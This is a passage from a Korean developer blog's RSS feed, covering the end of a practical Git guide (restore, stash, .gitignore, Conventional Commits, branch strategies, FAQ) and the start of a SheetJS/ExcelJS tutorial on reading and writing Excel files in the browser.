&lt;span class=&quot;token comment&quot;&gt;# 4. 병합 커밋 완료&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit

&lt;span class=&quot;token comment&quot;&gt;# 취소하고 싶다면&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; merge &lt;span class=&quot;token parameter variable&quot;&gt;--abort&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;VS Code, IntelliJ의 3-way merge 뷰를 쓰면 훨씬 수월합니다.&lt;/p&gt;
&lt;h3&gt;시나리오 5. 특정 파일만 되돌리기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Working Directory 변경 취소&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; restore src/config.js

&lt;span class=&quot;token comment&quot;&gt;# Staging만 취소 (변경은 유지)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; restore &lt;span class=&quot;token parameter variable&quot;&gt;--staged&lt;/span&gt; src/config.js

&lt;span class=&quot;token comment&quot;&gt;# 3개 커밋 전 상태로 파일 복원&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; restore &lt;span class=&quot;token parameter variable&quot;&gt;--source&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;HEAD~3 src/config.js&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;시나리오 6. 작업 중 급하게 다른 브랜치로 이동&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 현재 작업 임시 저장&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; stash push &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;프로필 페이지 작업 중&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 긴급 브랜치 이동&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; switch hotfix/urgent
&lt;span class=&quot;token comment&quot;&gt;# ...핫픽스 작업...&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; switch -

&lt;span class=&quot;token comment&quot;&gt;# 작업 복원&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; stash pop&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;.gitignore — 불필요한 파일 제외하기&lt;/h2&gt;
&lt;p&gt;프로젝트에 포함하면 안 되는 파일을 &lt;code class=&quot;language-text&quot;&gt;.gitignore&lt;/code&gt;에 등록합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;gitignore&quot;&gt;&lt;pre class=&quot;language-gitignore&quot;&gt;&lt;code class=&quot;language-gitignore&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 의존성&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;node_modules&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;__pycache__&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;vendor&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 환경 변수 (비밀 키!)&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.env&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.env.local&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.env.&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.local&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 빌드 결과물&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;dist&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;build&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.next&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.cache&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# OS 파일&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.DS_Store&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;Thumbs.db&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# IDE 설정&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.vscode&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.idea&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.swp&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 로그&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.log&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;npm-debug.log&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;주의&lt;/strong&gt;: &lt;code class=&quot;language-text&quot;&gt;.env&lt;/code&gt; 파일은 &lt;strong&gt;절대 커밋하면 안 됩니다.&lt;/strong&gt; API 키나 비밀번호가 GitHub에 올라가면 봇이 수 분 내에 스캔해서 악용합니다. 실수로 커밋했다면 즉시 키를 &lt;strong&gt;폐기&lt;/strong&gt;하고 재발급하세요. &lt;code class=&quot;language-text&quot;&gt;git rm&lt;/code&gt;으로 지워도 히스토리에는 남습니다.&lt;/p&gt;
&lt;p&gt;이미 추적 중인 파일을 &lt;code class=&quot;language-text&quot;&gt;.gitignore&lt;/code&gt;에 넣어도 무시되지 않습니다. 이럴 땐 &lt;code class=&quot;language-text&quot;&gt;git rm --cached &amp;lt;파일&gt;&lt;/code&gt;로 추적 해제하세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;커밋 메시지 컨벤션 — Conventional Commits&lt;/h2&gt;
&lt;p&gt;나쁜 커밋 메시지:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;수정
fix
ㅋㅋ
asdf&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;좋은 커밋 메시지 (Conventional Commits):&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;feat: 소셜 로그인 기능 추가
fix: 비밀번호 유효성 검사 오류 수정
docs: README에 설치 가이드 추가
refactor: 인증 미들웨어 구조 개선&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;타입 레퍼런스&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;타입&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;feat&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;새 기능&lt;/td&gt;
&lt;td&gt;feat: 검색 필터 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;fix&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;버그 수정&lt;/td&gt;
&lt;td&gt;fix: 날짜 포맷 오류 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;docs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;문서 변경&lt;/td&gt;
&lt;td&gt;docs: API 문서 업데이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;style&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;포맷, 세미콜론 등 (동작 변경 없음)&lt;/td&gt;
&lt;td&gt;style: 들여쓰기 정리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;refactor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;리팩토링&lt;/td&gt;
&lt;td&gt;refactor: 유저 서비스 분리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;perf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;성능 개선&lt;/td&gt;
&lt;td&gt;perf: 쿼리 N+1 해결&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;test&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;테스트 추가/수정&lt;/td&gt;
&lt;td&gt;test: 로그인 단위 테스트 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;chore&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;빌드, 설정 변경&lt;/td&gt;
&lt;td&gt;chore: eslint 설정 업데이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ci&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;CI 설정&lt;/td&gt;
&lt;td&gt;ci: GitHub Actions 워크플로우 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;본문까지 작성한 좋은 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;feat(auth): OAuth 2.0 기반 구글 로그인 지원

- 기존 이메일/비밀번호 로그인과 병행 동작
- 최초 로그인 시 프로필 자동 생성
- refresh token은 httpOnly 쿠키에 저장

Closes #142&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 규칙을 따르면 &lt;code class=&quot;language-text&quot;&gt;git log&lt;/code&gt;만 봐도 프로젝트 히스토리가 한눈에 들어오고, 자동 릴리즈 노트 생성(semantic-release 등) 도구와도 연동됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;브랜치 전략 — 팀 규모에 맞게&lt;/h2&gt;
&lt;h3&gt;혼자 개발 (1인)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;main ──●──●──●──●──●&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; 하나로 충분합니다. 실험적인 작업만 &lt;code class=&quot;language-text&quot;&gt;feature/&lt;/code&gt;로 분리하세요.&lt;/p&gt;
&lt;h3&gt;소규모 팀 (2~5명) — GitHub Flow&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;main    ──●────────●────────●──
             \      /  \      /
feature/a  ──●──●──    ──●──●──&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt;에서 &lt;code class=&quot;language-text&quot;&gt;feature/기능명&lt;/code&gt; 브랜치 생성&lt;/li&gt;
&lt;li&gt;작업 후 Pull Request 생성&lt;/li&gt;
&lt;li&gt;코드 리뷰 후 &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt;에 병합, 브랜치 삭제&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;단순하고 빠릅니다. 웹 서비스, SaaS에 잘 맞습니다.&lt;/p&gt;
&lt;h3&gt;릴리즈 주기가 있는 팀 — Git Flow (축소판)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;main    ──●──────────────●──
           \            /
develop  ──●──●──●──●──●──
              \  /
feature   ──●──●&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt;(배포), &lt;code class=&quot;language-text&quot;&gt;develop&lt;/code&gt;(통합), &lt;code class=&quot;language-text&quot;&gt;feature&lt;/code&gt;(기능), &lt;code class=&quot;language-text&quot;&gt;hotfix&lt;/code&gt;(긴급 패치) 정도로 가볍게 운영하는 게 요즘 트렌드입니다. 전통적인 Git Flow 전체를 엄격히 지키는 팀은 줄어드는 추세입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;AI 시대의 Git 운영 팁&lt;/h2&gt;
&lt;p&gt;Claude Code, Cursor 같은 AI 코딩 도구가 코드를 대량 생성하는 지금, Git의 역할은 더 커졌습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AI가 생성한 코드도 의미 단위로 커밋하세요.&lt;/strong&gt; &quot;AI가 만든 것&quot;이라고 한 덩어리로 커밋하면 추적이 어렵습니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI 작업 전 브랜치를 만드세요.&lt;/strong&gt; 기대와 다른 결과가 나오면 브랜치를 통째로 버리면 됩니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;공저자 표기를 남기세요.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;git&lt;/span&gt; commit &lt;span class=&quot;token parameter variable&quot;&gt;-m&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feat: 대시보드 차트 구현

Co-Authored-By: Claude &amp;lt;noreply@anthropic.com&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q1. &lt;code class=&quot;language-text&quot;&gt;git pull&lt;/code&gt;과 &lt;code class=&quot;language-text&quot;&gt;git fetch&lt;/code&gt;의 차이는 뭔가요?&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;git fetch&lt;/code&gt;는 원격의 변경을 &lt;strong&gt;가져오기만&lt;/strong&gt; 합니다. 내 로컬 브랜치는 그대로입니다. &lt;code class=&quot;language-text&quot;&gt;git pull&lt;/code&gt;은 &lt;code class=&quot;language-text&quot;&gt;git fetch&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;git merge&lt;/code&gt;를 한 번에 실행합니다. 충돌이 걱정되거나 원격 상황을 먼저 살펴보고 싶다면 &lt;code class=&quot;language-text&quot;&gt;fetch&lt;/code&gt; 후 &lt;code class=&quot;language-text&quot;&gt;git log origin/main..HEAD&lt;/code&gt;로 확인하는 습관을 들이세요.&lt;/p&gt;
&lt;h3&gt;Q2. &lt;code class=&quot;language-text&quot;&gt;rebase&lt;/code&gt;와 &lt;code class=&quot;language-text&quot;&gt;merge&lt;/code&gt;는 언제 어떤 걸 쓰나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;공유 브랜치(main, develop)에 합칠 때는 &lt;code class=&quot;language-text&quot;&gt;merge&lt;/code&gt;&lt;/strong&gt;, **내 기능 브랜치를 최신 main으로 따라갈 때는 &lt;code class=&quot;language-text&quot;&gt;rebase&lt;/code&gt;**가 일반적인 기준입니다. &lt;code class=&quot;language-text&quot;&gt;rebase&lt;/code&gt;는 히스토리를 일직선으로 만들어 깔끔하지만, 이미 푸시된 커밋을 리베이스하면 팀원의 히스토리를 망칠 수 있으니 &lt;strong&gt;공유된 커밋엔 절대 금지&lt;/strong&gt;입니다. 요약: &quot;내 브랜치 정리는 rebase, 합치는 건 merge.&quot;&lt;/p&gt;
&lt;h3&gt;Q3. 실수로 &lt;code class=&quot;language-text&quot;&gt;.env&lt;/code&gt;를 커밋했는데 어떻게 지우나요?&lt;/h3&gt;
&lt;p&gt;먼저 &lt;strong&gt;해당 키/비밀번호를 즉시 폐기하고 재발급&lt;/strong&gt;하세요. 이미 GitHub에 올라간 순간 유출된 것으로 간주해야 합니다. 그 다음 &lt;code class=&quot;language-text&quot;&gt;git filter-repo&lt;/code&gt;(권장) 또는 GitHub의 Push Protection/Secret Scanning을 활용해 히스토리에서 제거합니다. &lt;code class=&quot;language-text&quot;&gt;git rm --cached .env&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;.gitignore&lt;/code&gt; 추가는 &lt;strong&gt;미래 커밋&lt;/strong&gt;에만 영향을 주므로 충분하지 않습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/doc&quot;&gt;Git 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/book/ko/v2&quot;&gt;Pro Git Book (한국어)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.conventionalcommits.org/ko/&quot;&gt;Conventional Commits 스펙&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://skills.github.com/&quot;&gt;GitHub Skills — Git 학습 코스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/docs/git-switch&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;git switch&lt;/code&gt; / &lt;code class=&quot;language-text&quot;&gt;git restore&lt;/code&gt; 공식 문서&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 &lt;code class=&quot;language-text&quot;&gt;git checkout&lt;/code&gt;을 아직 쓰고 계신가요, 아니면 &lt;code class=&quot;language-text&quot;&gt;git switch&lt;/code&gt;/&lt;code class=&quot;language-text&quot;&gt;restore&lt;/code&gt;로 넘어오셨나요? 나만의 Git 워크플로우나 자주 쓰는 alias가 있다면 댓글로 공유해주세요!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SheetJS 실전 가이드 — 브라우저에서 엑셀 읽고 쓰기 (xlsx vs ExcelJS 비교)]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "관리자 페이지에서 엑셀 다운로드 좀 붙여주세요."
"고객사에서 엑셀 업로드로 일괄 등록하고 싶다는데요…" 프론트엔드 개발을 오래 하신 분이라면 이 문장은 거의 분기별로 한 번씩 듣게 됩니다. 서버에서 CSV…]]></description><link>https://blog.javapark.kr/sheetjs/</link><guid isPermaLink="false">https://blog.javapark.kr/sheetjs/</guid><pubDate>Thu, 09 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;관리자 페이지에서 엑셀 다운로드 좀 붙여주세요.&quot;
&quot;고객사에서 엑셀 업로드로 일괄 등록하고 싶다는데요…&quot;&lt;/p&gt;
&lt;p&gt;프론트엔드 개발을 오래 하신 분이라면 이 문장은 거의 분기별로 한 번씩 듣게 됩니다. 서버에서 CSV로 내려주면 한글이 깨지고, POI로 만들면 배포 부담이 커지고 — 결국 다시 &lt;strong&gt;브라우저에서 직접 엑셀을 만들자&lt;/strong&gt;는 결론에 도달하죠.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;단순 읽기/쓰기는 SheetJS(xlsx) CE&lt;/strong&gt;면 충분하고, &lt;strong&gt;셀 서식·컬럼 폭·이미지까지 건드려야 한다면 ExcelJS&lt;/strong&gt;가 더 편합니다. 이 글에서는 두 라이브러리의 실전 패턴과 선택 기준을 2026년 시점에서 정리합니다.&lt;/p&gt;
&lt;h2&gt;왜 아직도 SheetJS 인가&lt;/h2&gt;
&lt;p&gt;2026년 현재 브라우저 기반 엑셀 라이브러리 생태계에서 사실상 표준은 &lt;strong&gt;SheetJS (xlsx)&lt;/strong&gt; 입니다. 이유는 세 가지입니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;포맷 커버리지가 압도적&lt;/strong&gt; — XLSX, XLSM, XLSB, XLS, ODS, CSV, HTML 등 대부분의 스프레드시트 포맷을 한 API로 처리합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;의존성이 없다&lt;/strong&gt; — 번들 크기는 작지 않지만(약 600KB gzipped), 런타임 의존이 0이라 Webpack/Vite/esbuild 어디에 넣어도 안전합니다.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CE 버전은 Apache 2.0&lt;/strong&gt; — 상업 프로젝트에서도 부담 없이 쓸 수 있습니다. Pro 버전은 스타일링/차트/서식 기능이 추가되지만, 대부분의 관리자 페이지는 CE로 충분합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;단, 한 가지 유의점이 있습니다. &lt;code class=&quot;language-text&quot;&gt;xlsx&lt;/code&gt;는 2023년부터 &lt;strong&gt;npm 공식 레지스트리에서 호스팅되지 않고 SheetJS 자체 CDN을 사용&lt;/strong&gt;하도록 바뀌었습니다. 설치 방식이 예전 포스트들과 다르니 아래 최신 방식을 쓰세요.&lt;/p&gt;
&lt;h2&gt;설치 — 2026년 최신 방식&lt;/h2&gt;
&lt;h3&gt;CDN (가장 빠른 시작)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;script&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;src&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;https://cdn.sheetjs.com/xlsx-latest/package/dist/xlsx.full.min.js&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token script&quot;&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;script&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;예전 cdnjs 경로(&lt;code class=&quot;language-text&quot;&gt;cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.0/...&lt;/code&gt;)는 업데이트가 멈춰 있으므로 &lt;strong&gt;공식 CDN을 사용&lt;/strong&gt;하는 것을 권장합니다.&lt;/p&gt;
&lt;h3&gt;npm&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# SheetJS 공식 CDN 레지스트리를 통해 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--save&lt;/span&gt; https://cdn.sheetjs.com/xlsx-latest/xlsx-latest.tgz&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;XLSX&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;xlsx&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;ExcelJS (대안)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; exceljs&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; ExcelJS &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;exceljs&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ExcelJS는 MIT 라이선스, 순수 JS, npm 공식 레지스트리에 정상 배포되어 있습니다.&lt;/p&gt;
&lt;h2&gt;읽기 — 업로드한 엑셀을 JSON으로&lt;/h2&gt;
&lt;p&gt;브라우저에서 사용자가 선택한 엑셀 파일을 JSON 배열로 바꾸는 가장 기본 패턴입니다. 예전에는 &lt;code class=&quot;language-text&quot;&gt;readAsBinaryString&lt;/code&gt;을 많이 썼지만 &lt;strong&gt;deprecated&lt;/strong&gt; 되었고, 2026년 기준 권장은 &lt;code class=&quot;language-text&quot;&gt;readAsArrayBuffer&lt;/code&gt; 입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;input&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;file&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;file-input&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;.xlsx,.xls,.csv&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;/&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;pre&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;output&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token 